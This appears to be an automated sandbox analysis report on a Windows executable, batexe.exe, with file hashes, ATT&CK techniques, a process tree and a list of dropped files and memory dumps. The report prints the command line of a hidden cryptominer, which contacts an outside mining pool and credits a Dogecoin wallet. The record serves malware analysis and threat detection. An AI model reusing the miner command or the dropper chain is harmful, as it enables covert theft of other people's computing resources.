73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
301s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 23:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2000	b2e.exe
5408	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5232-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5232 wrote to memory of 2000	5232	batexe.exe	85
PID 5232 wrote to memory of 2000	5232	batexe.exe	85
PID 5232 wrote to memory of 2000	5232	batexe.exe	85
PID 2000 wrote to memory of 4860	2000	b2e.exe	86
PID 2000 wrote to memory of 4860	2000	b2e.exe	86
PID 2000 wrote to memory of 4860	2000	b2e.exe	86
PID 4860 wrote to memory of 5408	4860	cmd.exe	89
PID 4860 wrote to memory of 5408	4860	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5232
- C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4253.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe

Filesize
15.6MB

MD5
0b5d49c75ba358c4287d208d8b056ef4

SHA1
42ac1501b3b8819300bbfcdadbf3ca7ef6024946

SHA256
d187c7bd354314290992a85e2d156c2879b8cc0b01b79109da61e1ba9b209cf5

SHA512
f30f96d5866fb1de241b8fc67a17425df71b6bdda908bbc16f88f980bcc4422853adcfc999585e4643d0d1ae3339a1416947caaac260654496aee00d8bc6ea5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe

Filesize
4.6MB

MD5
bb30b204edf4a9f26c3ae0b0ae9cee30

SHA1
94cfe5d26aeef5e15122d0136124469ce34387d1

SHA256
cbca989ca5f43166e4e0705f07e878937b299351e07c81f5f2014f410d7fdf6a

SHA512
ee8845e2445dc41d95fbe515164c9b3eb36886419ff666ed1e14b63c82bce7ac3aaa572b6c8522a03f4c9f354abdeec855d3a1a923cf1c0073807ea611a15413

Download Submit
C:\Users\Admin\AppData\Local\Temp\3217.tmp\b2e.exe

Filesize
3.3MB

MD5
45f16cab5c2d5a00f676c82bae1b3a94

SHA1
d3d40167f798f4f0f75483e4bd3fa9025e34f45d

SHA256
87648695824ca7eab17c4f7190c3fe0a25c937f7cbfd9d5b4bc32818ccbd204a

SHA512
067cb9328f9a62ed79dacfe42e58d3edc5f0f8dc375c7795a39ed0b57a4c47f94f9894e599d3cd93a49fdae848810a54ed90a6412c056e82422c0567a8afbf39

Download Submit
C:\Users\Admin\AppData\Local\Temp\4253.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
7eea43a9a2eb367711cc4b574fdb6155

SHA1
dc015f7e13f5697f3dc2bb1c2a72a2fa7239f17b

SHA256
ebf98fba7d8d11d6e8e725a0f7002a9a32c85bc4db5892b88b45d72b7972690b

SHA512
fe37f3b6c380c038816364bbfeefd93eec97a3c0794be41f96e84edc64e5cbf77e6e3dc215be65dde919f0b76eac837d0778b135acdda08c86ee29d28d95eee3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
974KB

MD5
8ed201c06cdcf742f8b12321865b95fb

SHA1
18f37b801f758bd201266c59fd6489cd2f9d148d

SHA256
b762048aeee9fca48913987b0b976d279893d86ec25a6bfbea26148ce391c0e4

SHA512
bb5840f9f353933a749bca10540c3c02e9c5f70f0d46563f085f0ecd16f628cd4839b91b2eaa564f9a2927514a39dcbbce2f0d94eb1e943f490cac2585c0d078

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
641KB

MD5
a7cba38cd1fa5b17c635f60a2f9d66d6

SHA1
51bdcd5da6631049a8c9c1d973fa54fd7352466f

SHA256
6d7ed682b92a71a9ecd4d1a8c0aa531ff8f2844c1948f7ba1dce4fc68c1e9477

SHA512
129d799279feefec74c3c5f524592c80a30228e2f7f3e55ab200f30b3a870181dae8ae44130b4bdc1700f92761ab8b9aee08b3691a79ff2826965cb64d1bb43e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
422KB

MD5
51f20da3d63eaae654db20b8e7717baa

SHA1
ed52c7e47173e9b55f592e3b28ca7749c632fb20

SHA256
e605594424a9cbfbe8f84d6b353fc381fea5e3f513af89d59dab02598724a708

SHA512
6afec56efdd949c3b27f7b737a1302ee7f3c225266f5e0dbe7e49fff10916616c959fdef258dc9b91ceeb40e7544be1f3706e61c22cc676e29e55c3a681b2c61

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
bc4b540a76c4baf3cac37094688553b4

SHA1
e0c01caab8b5d33277c41c5d7596b773c9bd7221

SHA256
e4e0255c129ed0ac8a06e666c874e20420cce41f97a9a582e2270676100c0f5a

SHA512
59a8991322b2897eba3076c6244177cd290c3fe66668e5ecac3392a29459631c7cad5e142727cbfb77b1b5a17164f0a2c1d3a4e9b3eed8686d367592876cabfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
755e841e5ccd0b6211baa1508e2005ff

SHA1
18bbe5f9f79625fbc67a99dc705a85c509c9dd23

SHA256
5ff5eb916f12d982358173c7ec6913fb1a7ed958663ac7863c12374a41ebf27a

SHA512
9acd73c878759e57f7419a5f931ef71e7f5ab422dda165640de329945c088a906ba1f3f6bfb396a0c77d0e0d44f8a4e1ae77cc887f916808004519697702eec4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
2b86ae8c8bca49d04b729e99081a3353

SHA1
bdfd65ed2cf693dea2a58d28206b2ab4b1998fd6

SHA256
a7181b857583aa49c029e4a3bdc4f19dc2e0759677789bc0c9795077660013e7

SHA512
d2b78844233df3bbafa3834b33931747c9c30199448e0b17dba01a73175c78f3f238760734869a06479f4a60a0cf1534b8709e166623d00caba7b1282a7c1615

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
969KB

MD5
9d7db4507126486d2d1feeb8d813f5b3

SHA1
e0c477047ef692ab07f4db33175dd15cd76d93ea

SHA256
e71847427198d2563644eb7b78985f80ed7d97ec10c0952b19041054254b1131

SHA512
8057635de4583338537ca9b4b1698faaf7161191b50a53957c031f974007ff386c8a70988a889640336b8dd612fa6652a3b2355c680f8228b2f83e4a845c0594

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2000-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2000-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5232-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5408-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5408-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5408-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5408-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5408-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5408-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download